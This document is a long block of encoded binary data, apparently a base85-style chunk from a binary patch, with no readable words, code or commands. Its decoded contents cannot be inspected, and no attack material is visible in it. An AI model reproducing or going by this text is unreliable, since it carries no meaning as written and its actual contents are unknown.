z4jZ=LVhvEFm>pjvR+K4y;^EH}SEn7-dTMbPDvoiV#a&;{=FmV3rme;Zd>?QB5RVY; zXD+n~fSm3MQeOs>rXTdG@(d9e>tpbUuI!fXOfzHalO(uu1p*+d0T0G3f3@`A9tIeJUI-QA|`EnaTa#l!;uo?^AX^{xNP z{QU0`&iyss-y$4PqPlGeG8awmF@icmX;}L`kGX=~VgZ7X&5@O4ZNO01{HmGP)0GLq zN1HPTN{fAJCB;ecdAzAZld>o*K5^BmK8Y!xp z;Iq7yuV}9=6Qh=_Q|%O8HmvKHdPuy=PTM{Bm64Jr{my_O%q#Z;{&$9H{J)23jCX^H zq#0gY!!ROQy|&7oEu4+^}MWX?{vHS0_XH32V=>90}OLU#!xPmYE%gT1p)Zq6}1um z97OUQQLGzes2v3$Ydh<)>{jo@^Um^ATjzA2n(Lc?;$ zk+&|0+{swkSup&t#|I@2aHMQmCME2;S)v$mG1B5Ij#1is(0|RMU|{-I-=sHa``P~g zu5tWJ0n>l#*^>X&YQ(>Kw&ZUP|J^kR?B8n;%-nh)WRd{(`=M*_OV~r^d#m~sKY0Psx?J$&nCJST2!(6P%3o2X#`_q zP5Q_@GtOK!LjsfKu2}({-xf-&3c!CfF8VJiYT*15@sI^~fdiyu8Xdv_Ame}sgPH%X zZ2Y3nIinDsd%HtvQ_WC9FNhTK z3nc^CorzTy=GND#g8~0tWclwR%YPSH{*NfK{GYY!=OL4g{F}-C2ZaCXRv-8~8~k(U zsXO4O5B|p;jELWT@Q)*kfZ%S#WmB1L-|Duo$1Ql$|e9lRw@1M>w%*e zO0z1dwAB?<(&dtoiE;Zq1x-TS`+@HdqCcJ2aR;j~1vZaEihDVJ7!I=|EF$c!h?%!Z z6w6)dT&64HNsQ~BZ^_^740UfLaz@4VKq>=9%}%E1(fIm23zhjWi{MsEU90+}LDm-a zaOIlyGf8ETQFttg=1TkxRm{7fAcNto6@GTbq2=-bGw_KetFjOnM=)CnVp-Kks(A|# zulxv6Y=!+xk4G7J6u-of=!_wf!&BovpMR5I>e|WHtQH4@*kY>MNjvf6w()5-gxRI* zMbQ|w5!!I(UbXHg@N)Y4775YJ+i8l?NDQoG2l#>oWGU_OXNLuA@rkGx?IR<$7f=&% zXL>bibn%zuW^y#%TTlanU#Rj54KJ=mjRg-@)ew&&lb}_QUuQ;R!0TCLNq-;(^-bi4 zsgGOIq$sc(!LJ5ab)1NAFPxTdqK71>!GdUseCj5PSi^#P>F2oG--h< zo-uEcKENJ-oQcRM?(im=GRKg}So76-Z!rYqgDrrT{{z;tt(%S+4>b>b9 zRzieB8jm3CbxML7M?fr9zz|L?zaMxS5DrZ?)ZXD_(5g8`u@7d?e6^h8$u4|jg&$q* z*h>trzE_f#ArYPirJJ#ILMA1G2Au8Btwzmai#~YRYS-^2z7l0l)gw@p!cLwPMp#aY z(0RP`R6Lg?%G5-}U?le$551VfO(AFc*bRqb)Ma}K`lGou|4zlXKBnoSF78{2eocHJ;H}rFz)~dF z@*8WekMZV}F}fl^lmVwnktSL$b(clC&rMbRTTLwVUPFwsn4D*gXy|NkgJakm1uHP5 z8LD)Wl+Zy5iMru%oV$mTATWc+4YQHg$uK&F7obRS=pQeH9JEoPEe4DR){8e82at;P zS;XFEo$Fo6?5_*6iWjukCYQXQ|qOXU-4TMX9(Bhz_CcR(bwD zertvZgNjG`16N6DKKS>h3%6*s@WorpFnWDUn0@z z+e{)%BSF!>&5B9`X21@qu$e2U$iV;|;UiMruk8Z96%9W#aOe!8ao}`Hd zqz&u9(V))MZ=2Bt9^yR&r95%3&Dz*&ReTo`n_n+b*?_8 zEG46>ErtrgN~!aiP7B8ILO7c|FfT4 zB9OX-4NRP`1sOxUrH_sbf^jSIW{?Fq^=dPI&sW*KL10#LS}pH&R1vMM2X`r)5ToKN zg{&{ohqK01MN)VU#Jp69*w*AmEQ%|HaSE1X5=rJlsnx<`c>=ldGjP1~HTe}}iQ8@p zJe(c=@*RUsd~8n4Q?Z-kyqT&P25jmMQJHOCTVE7DPBP|TDCbyOSUxxBdm_Wb2^Y(_ z1(1z!KJZv-v)r1bu-&=L)?}L#d7q${p+OQ1@;PFvQ9+}ms@f+KEqS#dvh8cGbB0Mf zqtH0BFwHZ!nxinIqyiQccSPUv7I_5ny2NVrMJ^FCZC9Hftm6x%5cQm%twOMUvkR8JmIPy=SO4RCfi6l66__}IfwUw)a zRf)Q7Cx@ZFpiel|LCZ*7NUG6)Az{3+ssB1Ebt4qWxPv(Q2*O*+m43^*qAINk;{(Ja zmtKJ?f}V+r6{vY3vOEipfZlWBImjXo@hw4!54!PWB~Y!NvQ#vZ;xi=7w}*Tv{R_fF zX&VAI3LTK z4T9JSv{??;Nq6i~!%cmglub@Kj+#@D2{1e(p87npeR;!qdK}EK%%PJwD#QAogRX)` zBW&sx)r+YAMvQtjxCRDXzr5_JCHp5=2b-m+E7te+FugU+bkg~% z`Pse$W)AJPt^k47>;|RURnP6*)W+dd!S@^|qmPxDHPk1Bt5iMKD8?8C-P#o@l`?4E zQccWZp!KY$?MFtl_Uq~@XK1}PZgkjFW}46@rJ^0b7*9MmkqjPHh*^R!gB4hn7n9kM zY6AoUwb@3r&|)hDvpy@aK$(Qw5GzPN)vg%%tmY`Uw)3HrM}D>(#R2D~E-~gdEZJ3j z8mnI4s;CfU?<`mjaFn)e{v;!zdhCoqvG%!t6_M0ifz`YY9%FR%qamD{gczixC^W*V z>zXVfo|+p2)kDSjeDK?griQ+hb_HUELSCiw)X0x0>x5%fdD7jiOCJaI78+iAj?zH$ z_=s}fQXk}XYaTD=iCMqrJxDP%VGI4-sXMU$r4;Eaa&iBs0>kKF@xY4#cz0K#{ub}s z;_QV`9?QUIE5*{fA&+BX`*GYwG0i@(3I$1YWrB0eI;k`CY<{HbG1AL*fL7AK1#~&b zzXPKkJ@fVFb~m=S;5nO=%`E;hvN7|Ko2!H>KrMhcsT z^d7W7ufNnbJXt10;!B6P)PkJwWPn?I!La(pG?*nx$ z1*3!vnk**Cts}p!C%Bs(FS5>%a)qckzq(E-mu}y9^!g&>sUS$E`K%Gh>$OcX#=6Xr zy-$Uq*)>Jy(~hUp2s=RI7A_3}Z9=DdYa z?lDfFX8IU0lKJvn`gX-9_%nfDKAMkz5LYiC+Y*n8 z5oC2zo!IL*I?%|m2@A%jGGBX-L{>yLW5|`RkT!TQNrF-5GNJ6O@?zym%v29$6Dz09EHkI6XQaXb6=D5VD05sicOH&KLXKhHYl0Rf<^pF^z2zDHy;JP z+`1F@a_(B4EMWoyJt^=q6~dq*5vS?p>`-I&gW4!Fr1G%%xfBny?-;W^OIe3#l9sKN{XOJGw6aRSz$@E=PaNVd zB@a$`9th3hKGJ0_|>A{LR5*T!*v?R>K+$>m_DOPSQP`RH?Y&(L!~vq_R>*uY=GI#K{@|5mcgB{yHm~!Puz|Ag-)vNaaR`tceav+pj!?Lnk8&svffs(ROm!boR)N&uf*Jut=wOi#P$3!^{hKk?&}4;Zy(A(_*M zs2+LS_nw;;zL8qf@p0nKOxL)P1LYI;H_QO+J4z(` z1TKFrAk>1_+1SxO!~i>r|5Z1%W>A zyf!nC*+0}`?+B*O(x)RFR{`0Yzq1C3DZSQ56Hzc5vq5a$`m&s~jkPC-f4$ zFLEM(?_lbQ#uc%ljd%HilAJh}{?cDai&9ylUhaQr8e8Q}NwRKY3>>^{N>oxFbC6ieQFjVB zUsj%jKI_PNaaMiCo(>GY)P`u9D-u%xJegKVb|gs#PtsUY8`cRWE_7}l$Zi1c&^n8` zhS&0!d>NuX(6svVoZA`{T0Bn13g=Tzd*r3`hrrH^8}OIbnsK}x#uraEQ%qD$4q^wS z+}pUc`BV_asiJ!cmn#89XOdtG6w-B1QqUB)X&F=VhUn}l*2d=l3sEK zodxPfPLhrx{ROHtgfz1P2s5k5`1o32&=O|7%_Y$tOF|O{jI^W+wgx^mu_ZzZ`n>~^ z?3su5r+=2IO&VD+bL(6}YJ#wZwNwSs_OeJ+>F&MSHhgCImRQ)1V=-|O1iL4TV`gc@4v^K2san}s>#?O~5>o)3`GR319Yg9{83ERwQuD^G!NBG&`{rdAE zetCV{5mU%^3Gncr=vYgUOEwt8szfph3~T%y zi}%3=$XeK;Q4D;0HF!{&0XvNn6B}Q4Faf$|V~oBgKd?POLNo1(We65)%7T=2u(9WM|taPoO}^(|E`6Idje?Q6;Eh&zl2mc2uf z`&siAeDJ-;pfkp*8)&{Rq}V1qdlVs`w8AaS^MnT1p}FbDc-v<3c>i8gBkjELw)S>X zOy3$AqyoJ|HO~&4o#H8q&hObPXy7hq70W%2G~fso5-zwzO*vo<0KND<>ChB8grO>B zk(zI{PEqpB(GwPn0m(eA6mOe?l7o?#zODLS}H^64m|s78~~> zw`zn9q?y`w{@pL!y!LNnocPW6I2o5wFoat}Gh4_=At-*ybN<)duG(0!9WtRu5@_l41c zCOEq1b<7b);^Wjc`j=Y%*$aULb^>=0AAL{|Ld_}Z&vJcQIJcZ2P z^|!C?VB4oK&x#^s*V?G$=9aQ0ZR&;TnO#5e^>cEBqy4a#JQ_a~dNHSNJFz&eeV_B7 zC#SVUR`FT+?2KN|!}EYP9!{Ws7B-aX?qugCqXILIV?6H6AEf7L_M4AI~c0gl6ECRufsJ@hd!|?H zBA<0MaQ@j8i-c*SC9R`;TQgtjr)KW{kY1JYz!$gY z;Ij}N?7ZqZg^Bj{!-Cb}g2a1tjrnBmWfSwjGWBlznEGjoj>O;<-Vh@EE%l#EFzfI@NmtVKdmwjAf&+w+Oqd#R`?z_R1T5|H3 z034h>FA?-obuHd(s=P5u4VeQ0ZtNOcNs^x}LFp7oNE_KF%L}WXw)kFi?FifV-99{~ zMi|5-HZdK6!v2-o_kxfnJ^f*}fHV0l&5e5_q0qH9+B6V~(5)fm$?LEXsGQNWMCoL` z*r-fzloiys>Qo|eK#A!R?=^X9a`v#~)i}e2UrKCk=mPl9De||tXE8biiphcg;B)}t zVpS`?mEsOjTU)dwy-7te+r1_dFlxfZf3;7`6N*u>>{-k}pHQNhL)6 zrh@E4xNlT~s{^Im$t);AlZeFm)Yo_IAkw;d!8PnAe1TL;WK$iWXhG-0TQjXc?JWbD zBf#L-Lj}Pv32LG!NfFDG6n((@2B*JC%MYN@PRF(G|wP-cPt?R4FZM5xFaJ=rM%@6IQ^~Uv_f8hRLn(E9nFphQ_Hd!0F>rSEuy+>O45=|F zT&Yf80KNkypVssmx|UmJy>^))r84`HZk$KFFf?klz|%$ogOYvx<}VZl=>pcw@qYOM zx5@dXs?#d@r&jt(7yPOyCO7H{GUv^;nGZ2UBXx--SzNuI4$DnwUWT%nNHjyHBlgTa$gzPa`=ffBLd&DAlQB((scm@b7`KaBiO{ zX>dm$1O&GqaaxDlmqeFA?IXt5>;R-y{*bgFOO%^q2y2Wu(kR#RV zVv_zE9XqmhLp{Zx=^B_3Cyl<0Hxp~NR!Uk#;+o#9`a`Xs{)FoDc|}Tqs7nMcz%b;C z4o@oVBS0JYts5=72TY(0T2YQONxhq|FqvAfuVq_Iey?_9aNhFE^5F7`07F2$znJ;oSQ4QkYYp?eLynG!z2i#i?v8IKH`@7V z6hiH`Si11f;oGoWhh1p1>iSZd`A37}p6+%CL||RTT0iTADhAl~IEFNZp236Dp!48G zu2Ut0M8cL?$ieoiZnf(;Ng{!?Ioy-gn)HEl!d z^Av+-OaWDW4Htwo;>uc#@U!CHCn9BP(@-@SDqRjme&~oB!S9Qqh^uhWrO9jdFMwaN8)}(-Yiju^{7uholw%nWk&=1g2w31)XQf* zbO?N*szbZ<9Hvbwk;OJMsWDX4r^X|8MG40Q;?2ixrm0pI9puNMFtq|;=rAJ^+g}yy z{js?W##h^!njw+yg$m6mzEIcR=#DSX1%5W~_^AKsG_{U!q0+DCSGesJ!_RYAP_7gC z7G@u^D_Sui?y z-IC+qN*aRkI%usss)z8V8l*yYRS?isZy!XaQXg*!DLIEa-;2R-MiF1WR{7AgUFLT$ zCyfVBmZJK5*NAXS1I|3)le>`WJRlJuwR~Kr%*M1>07rG9gz%UB5vHzb3-uG{=^>=&e8)A|+PoSUWVWy|v|b6`oHoJcbjB(&$Zi%nxAgj3m9eyQDf6^!#1MA3FUXQ?&Al*BRYl6&)zX5)4n*txdG@hHtu z&wA6iBjr1W4>6zs4k0je3flM9`QkOOTMM!=S7xEi9^CCMM0{4;QyA=(ECslG3XXB< z8d?kkjlmQlMFwQQ02=VJDzvt~LA=-g_$%fLM;fN-Pk5kC0ncM+!DH22R}id!QSyZ; z`iRDVwyuoamt(u*>P}P@R9xlXdwwJtz$k7PwVev_0K^-6_}ELOGx%gR6;v3`TpE?W z%@EBt)~0^@^Pgpx!@H%vLHwDUI9lWs$+oybx1^!>E)Hj8m~HX>A&!6jeU*hTDF2B%E19m-)dnS05rL~adQ%W^xvaTVWjcg01 zQ^#W3Zs5@FkdV$oLI7IxlKSYd9a$wq2#A{tG=%;5K=l+-`p(&e9;aao^W46l`aJZ$ zosvoG#v5=bh;Y&?Op2&TripiwibLOsp{$Hb7l5#mXhu)9kx&934ERiQkoUGPLMZvH zr?_k}`KBV0NbGAH#D2CIEMWFFd{fV@GuSGb)e8`p-nNS=1>?sPc^1aW8#?N6)MEeT zco^3Nak@As(HS;j!gVOj*o0V)mo0yf0o9>PjnW`@V9GD~8-}LFjAj}SL}^TefPv3O zgAFmTIVzp*#!+J!Q|=axb;)OvY=(i~E2rfZwU9!@fMD@pxx9Wgh7wBfo*D?h-~t~? z)77+RXvo5otTXfvjtBm7YkEQv$V*JXb2M*Xkap}}E<0-bj0ly5)5q1zVJGBV zA-1`8E}2IA4_mvn7c5J~mSz~9*#^?8Tu=`P_Vz%@g`I&wZri_jiX-M_hf6s=jDw^B zGCM0RXd5l%a9u3H)k9wYs#l2Rl}hlv${Gojz*F+Q&iLSS;G`%}3&%D7R7qKH6@>$~>v9vUhOtdO@SMRBVB_GLvC5qDM9y6i zHRO$ZagSAIBpDap6bOb8_R3xcmr8~WcJ*jNyq5r-^>X>>oP_N@VBOJ_BLi#Kc`lDD z)w`6Hmi%-=HQwwv5j7GHsSk6V^bUBh?=SNsT)+;=owF-|2xQrli(V~Fm{mw08_Y7} zN{b~e$I+uQTWI>qE5Yw=fM+^$fQitFIyV4w4zXAE`2rJ|cdH=MKhwNg+lm(m`|R5p z21NFw>Pi=7hE#sp+Y>-4s}x1}OC-O~xN8}atci0oNQN_g-{nQvQE9?X%k3jYb%#F0 z`H@ZVslvCY%&ejZGxbUWS*WN6)3jzl_M6->Yc`9v*xkhJYVXWbQH=#Zymg7_CA&1a zysB;^joFln<@IgHlL9?d;*`XhMiv<{`WPMB+vYNh?lCA&Dnf4MYU zNx!5ir4!ozH$)FI!Hm8dI;GVBwJ(pbahko};JPhW*mcD87nb|PMsx*Th!l<$;1yw93u$mH%gJ|B*r9YJBUFe@ zexn_(RP=v&D06=Eu_qJ@a!PPr4;kI0#m~WCmr~}p&n1)HD({2DcrDN78uzb6^>V!J z=6FOEII`V4Tr&Jn8<$`lX8jLcWdwlSQV79j3Np8;rL)4gjHs<+f<-L7)_AM&+u*6? z*PL4n#JhW%(Qvntk$??a7j;Qny>?f!oBoTsP*~_i7;r9wh43!$Rj9I3r#qRg%wj>S zG^=%Ug*lx!VMD)I*h(ZaaGjb8aL}GoqBLcKB<5_r(kQH4WCMr8D>4y+)!#3E*L-Sa zZ>(y;dewpyYkF30LfAZT(>W$0!@nBR1wi}x_Q!=wypie#!_ix(!dIPaxXvQlFx+qq zd2thgm{2v_$Peh>uA7CbP<(I`j+D0}sq#J~(GT>mTW}^X=)@si=kep3ZzOvltDR`1 z`YheB-!m&@!*YrL1UkRyD+~X0M~+NY^LhAdu{O5!{dM%(CEeK&po+zKx!)AMz2|%g zV3(P9DD?Y3>LI=y?}Lob#y}Tkh;BW$d$9aZ&_)Z!ExgH;RX(ud5fPmj*MA-dl3su2 z^2qJsd#4APqA(b}k*_=6U1z(?5SDX#MDVj)<_HE5=<|3*)4t7GnW4I2;FQ9g4h#NJ zE%8F_p9=wvzz}0q&ixaYN5fd#B!?X@TM#fMUn%yn?6>A!5wzjGVK*P%XdOW)TC{B9 z2J`GT0qU&a9Te?~A4C>7p>+4DpHFHs=zNw-ng!W+D9R-8Q~egHBx2E6XyL3yz87b$nT;;o{u6 zKynQ7)2z7*jM0qCh*SQ{D=_UETqS+vL>CI;)tZjOykGpTlqPR2#z}I8p0Z@_$Z4lG zJ$iW5zlQ%ikl~gffHV|&9mFz(vkxC{?@8MUZa6O)`|E*d{`0F281)CilG*Rl2ZzR8 zEFjv5?802>LGapX)fnyjI#INc6){DrEH()im#oBWS7YZRlSBBZTeRC+RwP81ZK}Lm z*yaFZ7V#-ran5g*ZaoO1Y91iioM{43VQ)zd<|Go?UE(;&=F_Ju(6}B{z+W2|6P~ws zd`CNR9hmv+9zN(0uv&gsNTv%o&z4yp-d!>E?KxvvNF3#G0!Uoy@mpbBn2V)kP}iYg z2q1S4f;9RE;>lkgz{ z_E10)=mzgxTO&IV;>aa*o7&2BGoEO90dyg-*|1eKe#<_GXuOQZer9({eeVN~C{KRm65=RM8)$TF z-x$5TTjt5LtrWX#G}nU*Ictmb{JE<4G3_g%)YEnPGzDk%hw)>fq$GF^EV}8Y2jSw# zgK%G&rY%1bmtZLgO1-xEt1g-XJ}R3zp|(!=j2bG|fhjEC_8l$BPWP$Uz!a@6`a>>Q z25Jgh7I@50%M1h`PI3Q35WyH1h~mh0Vm*9A+=rLuFs3UUu9F&y7FPvZnfW4?N1)ip zz~G;o(e82PsN&qkrLbu2dHQEq5ksEW0LpnOa2ih{ZeYF$38I|qjDW+hE* zEtFe41GCp^RYqyB+Nz)|J>Agw_O7NdnGVP*@TjknZi|RfR3}erXW;LsTsBc@_$MlL z$W;%7t54}O`46(naB4G5oTKb1@yxVbThPx*QQJtZ}8I-`~%5s+6{0Qy^k9cu{)PNbI2T=FnXz#3~PqoS9t-(MfV%MF%7D`GY;i*s?p`jKU_< z_|d=LT7){Q3B8OEZBvxW^uY)WUM2Yk?rF4gzwr=sy;md~_MxeIAC_1FR=b-H!%^1H7XW)*V4b zQn9o_SXx!4!VU?Gn>Z8`0AeKrX@Xm|vL+XNl?UsSFccD8qqcN1s7?nwYd>-L|3HQ6 z4JSa6+!u~r1~=B?5nhH>%%dNPjlUQt{W(l5b@2J5Y5$T_P0loDPO!v6ky+#EhI87h zNvpOG3740&!lZ};)yKnAWS^wb_FBcb?6Z$GZjZe9J1J>-lR5uMN=W%M;U{H#QDS7% z^dMoTE-QbV+EH`1f0EKL>Ay)iy$B5wXtXaO!Ub4~RCl`RzJOdr0e_R1F;#!~M7_An zcL~lCQ>OAX9{J;q7MrQz_ds3s-=v%Yu*6aHmb9{q3$U6$Zs_9d0p#SfIfM)CM#~zb z3_U13JEr2#&~3R5#eWZ>+1R~uQx4>UpdV%cDq}2aEpDdF6Ikx-)q)nY z1+#-bwu}pAk0SpP#F7}Yvl}pGiJd#<&7gr1nDziq-^XDmua0=(?SE~L2dEzq2Rnb1 z@#wAF!D4LydkJ@^`FauHBP{oL9m#rS8f~f{+!b>D>Na(6V@{uafx*J$I{*bou&i@* zs+MC6uRjMqaWa{m$YtYRA|jPI7V3Ew-yzRf*J?%5D+UCn#n1QbC^EcM3rg|66Kb27 zMaD2dxST(v@ev@2jMSUG;Wgxtmm)ieL$)G7R(lFZVZ(gT0^D(BKJsz@dHMV7lw0tL zeXZnw-AiMEwBJ$eESo~gqhS0d0Se)BVbEd%IxLve=hVm-WgRg`o5Alz7jP4#x2{P> zi`8A7U@PfXk_44)TtJ|A`BzMV9H=lFZV22wzcO%4j4f%^ou4@7NcMw$m^8KnF`94~ zaLT^B`6pdLs3c05#>A8C;r!De{te0qrhkI+aP_}I$5$JnhShKgVscx^%)?8oJv)Q_(A;d6+Se;# zeNn)eSJ}NMfz`#xXa^x>QwX~PL)V(|?>6GI&Di!0 zBujkBIKlbr5Mf%38c-?>`qvKX(t6CC$XT^L4TSa{dw=IL1F<3NrcHYr0R)I?Ji2Q3 zo-7_IcnQ6cG-1_tKvvLxJ?ijSTL4cs)NN1i{C)5qF2E{h>8IcI{Q?k;k{RQV*PkF) zfE{r>xUV{n#1(ikv88F%VCFtM{n&x$=#9H|Dg6-f3tHHT;EL{4XeEEkYd5GPKKqXW zs&=z{jfiakaqG`4-uJYP9U}(7CT89jA~xM#U*V&B>~UnETw_iEsavRw1eHP8%xyPK z5g)bPJb!x^QcfK;>+sa2f7iZ_WRLf390c5ddOa`+Fw^dktzs>Lh%*E09wyg2Hpp5*@c zaPZ_9RL?O)jKdOmyGLLD-dC_uS=Cf~#=z#XC z6EwFVk44rwE_x7`UQH)(h|<%dRV{3qhkifdBemT-yXBg_V5Cy_n5ZpZ4yQ$?x+_?I zM4!q#i@Oqix`#DvCD2f&=$4Qw4D*8Sl|ht^W_JdglrPX}3s+`|B_00qnzUgNg0asA z6lm0$B;{u~Q&RQ6N6D{5@EiRlZ`Sd`Fm@=7u?3SkA#Y=`nsUR2s9b;Lf{AQNz`>F% z%fxdc9U||0e#Yd%Xis4*5w_j%)stg^P@*()VF3LwTx`vwX<=sk5Vf9ps9Zyz4M?l5 z%#HRF2vf$FF@+DV5*bKZo`R$7xAgf$?{k~8MU)X^0SUznxQClN(_jb3Z@NZ*T$Y+@?9BjNX}49 ze1p;6#iTkH@}m29uLBLXFPa!t@<=ps4a!u9M|cfExrlx|KKXir!g`EM=J4xP+xZ@O zyeX<^2>vT<1(PhzcxNixBdsub-!jca=Qr4p?05BATERrOuk;T5Q*Yfn);NTUAh{(c zo-8^m5BcEH*gA3{UF3PievBCT3?q1ixyKsNmTug>0z`zUPL5?8B|t|-9+f%y^s0zoINx2!DLplpIBfBQ#W#sAE8f(qvH>hJy*)x-bH z75`sz?fsv*GW=_s{$-8(}urf5EP-yn=_kYb*edfRBs&n#RbH(5K*IZ4W|7Wfsv1_J(n``=i z&2{pIm9&uq_W(EB4@>;uF`%)u){*_>4%w)iVVsY4PDhL7olJ`DSX&LK!YYQ3Md=T& zpZT#7g{=Uh35)5sRVKmtxeLj(j$hsce5^?-f#W>_wGLu(G|R)~^J4EKkd=&Woz)rG ziebJ3%9s7Vz?~e2eX!ZZZ_!}aiNp1U3Q}c(u?>mzeBKDbw_+*zFF>XTJ6OY1ku^M) zp@20w=v@-W{3`iIKWz2vapqt70jT!pSlpi!HDdHFE6o(F0AaQ5mYzihYY4vjkwvjz zU>YEz$XzZD$ZdTcm7hP~C#C%iJ?E0yE{}C$)b(tvYn4@em!_^}J)#D1=w<2Kk_m0L zfW}<@&|9WxP@=woj0^7x8_LW^$75p_HVg61+w>-Rpiq~i{Kkb00KhO%ElP%c5t4$G zm({{C`Y3OE(kL}Kdw4fKi*^0S(+cU!;_=$;m~o%OSoeW zLQqfZtqHNydDE|RA4H>lz;kZ=9a(NOOwk9KUF0i=1?OsApH0*$r|0j>c945+Pu58& z-m%l7vjrgzyg%*a>NGIa`C_ez?;SMH!#SO*2Ur>>%1?KV-N9eTR$R9u+bL^2Iad-m zNzsVL?pW30(TB(a&k57;O9H}T2`RI!DvXQfm6*rExK1gf%*Q?;+rYWaniw8r7PwSV zf{Mn34q4PS){VX!Q`;8%+t9aR4Cu~u{wXOAqEE9-8K6E^sw(u&Qe^BTA4S@B&YUh5 z;%TC86_dDdKXWOL1NN|Uq8}U`MPpUC6hW|cj%R6~?E#)#p*y#d9H2AWf(sm}!?C(Z zjvPH|sGS5t;rE=BF48{lPjl_@%Z@R%*yMPGEjZuKBFOo9J<{W-DGkl`+RZi)s|}4E zzer)?Fezr*;0a%K=Q;s!UEp#;0(`VQwo+*j2kv0Yq*0*5J(rtYK#(<=E6WenuoxSA zI;!qniJMk`N4yx?LgBl~p&dXOvwkk}{;rUY=wLNX6o|f`UC1+h;$p|-(yg6#vq`69 zbI0^OecdWeXb300+fTULig6K#LXvg{d$m1Vqs^?fXFh5zzVuR$Q)*zEl&zE2fJZ>N zwm-HQ&2LX|Qox2C9a#Hi^j+j6Mt4OBa=A!)inv3rOBS`lo#?!fz_OIH%aWLnV7R)_ zr?`dO&A{0MVJI-y=W9tu8PUFpSL6F4|J(?Nx3}eEFEI!b1=?~jVBY(h7w_gVZF!#; zwvM(%)y5EN+D08|_Ti?t6qvP|26sJ2d?kf=Dxy+mc&Q)}JeIM+!5S!UsJoG00KvBR zJn24!_d)SN~p*^8ZY)zx^N6>mVBc*^cs`>GgE>$6MxocQiiJIc?Dh z+C7S4f4aBCm!RKebTNFpd4Tz#VBm#uQ+%xA;}O+K8p9Ay%^DH{x4{+fb}Rn+#*)P5Or#S9zm=Jy-sz3J z*)`X%z+&>S!UNK)p^q{kM9#1#PmI~PSzv<>M>FDu=7lwF4%-yzK+_mz>k#*?IPY!A z45ft$QJ%r7YKkbG1(5`x(Vwru=-$f;ot@eHeEy%h;vgkuT~-qEO&`cY76VJ%t|4sy z+}&#`=A#(yilaOYG(bF;+$GrrZSwKyH;Y~CAa!K&_yH>iMN0cy-%~BpRAB)%a-mY8QlOFrXqRXO6nY zt=Q>Sow04|HA$@zJwdg~FB+o4lnracPmigzJ4LrQR-iRG`-mYrzIa`6DHQi3Mck0z91l!q zCCnh!H&)Dq$DQo?@Qw&U$JVtbjfQ$XJ|gvzj0l0IjXihhXo|<)C|+Y`b5Uo|jM6X> zWi`PH!e4de6Ljm9qUH>xYfQm+PQbw4Y@uiSkMfRV+<~)|^ElaW+rE)M*R4dBH0lJV;FBpFd9btPDrc z>Q(C5+RNcz0N<#C-7_`y%|_IKO=SjBpht^u=I(cfgSrE`*TfoAp>zpMkEbCwR!^xa z719Z3?kH-A4QGq2?@*FVY<8%fO&<=}|31;^0bRxMN5l!<$1g>t( z+QHn&62si)iSo){N!3Q6}LuvQh0|)bzU%29-#ot6)xbwgd z*&2y?dJ(K$_Fb{1sGCcY524_{E0S9bLF%Z34zk^;LC1N3{z9o{R_{K0b zw{n#+IMM{Omsmk)2F`uJj>dH)uX}#gc06-n$_r0VKr2 z)xK`Wdu)nB7-9Et2DeG0GFzf;l*W;FiKW|vwiF-H-$8JwYQA{{h;T{Cp`I5TEZ?;yEY^r`gT$@hdXV*e@A>8vqW#tgNw?AL7U3wL|<|Axy9;s2XCl z8QrNxM08x0=}R&bD-;%%eBFCt*eo_1(6p%QB}r-fD^rcXHmk~ux?x)(^v^*H-*Lb= zE3AD53v<4BQ9cFCK5GX~(LN2{gU)u9FeTaf-6M1vX6A zA+DA&MM{6CuIh}~K&2;x-y27AYF5Y2r1^mtZ=a+)@)Yp`YFv9FmAEgyYUI%J}u(XSigvT^gweWW=eW2xkJ7?|6^? zr)?(ybOv^l_S?DcHpY6&o%q0wW8K-5yLqz(OTyRm1OJyJ?FXp)g8sM+m4`)eokOnBV&i$jj zeN-SP`<4{|%PHfidMS0fe})}8?2hLU5+vg%)3(P@xx-NwY*ko$iSteHdlCXIBY=RJNFkNq%mU#z6aZstE%|>|_Y!&}v;Q83 zhuy&>jz)|vpjw<0V_BGnyb=8KXjxT&;eMgzIS3%1AoFL=3tZ-*0(=3!+y(K{#n)nCs5Yrfc$Z_GI=hx>-F6O@95f)=`nMcn*78M$C$szdar%gVgnMXxxKN4FhF*v3Sg=19&PKVg3r~L1GpWBt)M+ zB)mr~5nKlNts*JVz&S)-c)1vVeR=8*~o35k$_a3>{m%()xa%Bx$NvIBOYQ zV*rdPaTO`7sX)UYF1cy2`CWBsLq;%p{|vV!COA$6@C&`TD-&I43|SCW4wE13WpDK@ zgh>pZ-pr+tb-zd=dZyxZ3;Xu-5mwo=>{~{%_fH2p`;%!1j=Mh`79Q(`c>Qd$sPqcD zR;*s>_fcTTBmhx8@``HIaOS`Yf zKP2np7Ao6F7k9u%?D{IUJGce=C|F>AaFJg=o?nXz(ml9V8Fd%hjOS2-MG+bV2XwL3 z2tU9M{&3v@i&1UQ`|El|XRgKdq9hexND-PkEVM>Wd3H?ni|j-wI>s`MizGh@ z(vyRV5<@MQy+7Ba656cFZ9UqUsX^YzDEJx6WtpU_mQ0ZGzM4FmGH~l>z5yT(=jE;t z(iF!c1sB1g2S>!4?tpa!RtBrvSG7ffvM zGzBj|cj859Bk1sDX`!1aCuOU0)#b}JH7QUNM8l5i)b)H83%DWSK@td& zQ)yHcwA)729y>{L4RS!(%g2D|1S zdeH}7RtfF)bEVoV!6J`ik1+DbgZc=xbD?^v=kmrXe74$-^#)0e?(3;(yRmQ`>?Dh& z5+KR?*q+-~$=)y6X>L_+AUgNYL~<;x!DG5H{E4YV#_g*=F)r@BdEN(wdO_PCYCYR` zZEw{siW72ge1cYSIxg@%sA-)P>(;;-8Qx{Im-J!Td*?~oCw6D^e+>6w%wv=a+XmLj z^?<-XsQu&o{o+#r?VIk%yc|@^-t#S9@*&8E-yV%vr==k68CA2jrsh<4fbl9Q`7Guf zE3?DlzU#n2%dQrrE39Aq%1Ut{z5p8p6R*=e0@w<^NVI(MXOQz;mRo{Vfc8Ne4j1SiEJS(Qo+7Y1C!$rH7zNJ&ilFyQ8$Jm$Pqa5IdfK9#a%D zuZb)ORHwr@SATAp`aM?m?qPWAUJq9MW6&e=oG3r~IpV)AdSN%pUGr5(dV6atFcCR= zs#F}+7KKW$-C#OKnhge6YjieJm&@{@n7yle03VO&LwA#-4o?Q_>7u{JF}d4QXW*Hy zZUf{Hkf1a>kL#@TKG6RSgvQ_*qm5E#I~b3R0gP-=!4)c8z$B|ldCN)Yoy3H<@|99k z)Rdo7EL?^$K}0jcyv=o6Lx0>~%$8jpU%jkk83n)CVa*jIo;8hxNVD{l7^u^_se}g$ z^RC^=t>g-+(5z>=QyPE3f4m0R&LfN|NLQTf&(%KXRiv1{y)^cP6ACLn71|ay_&NM; 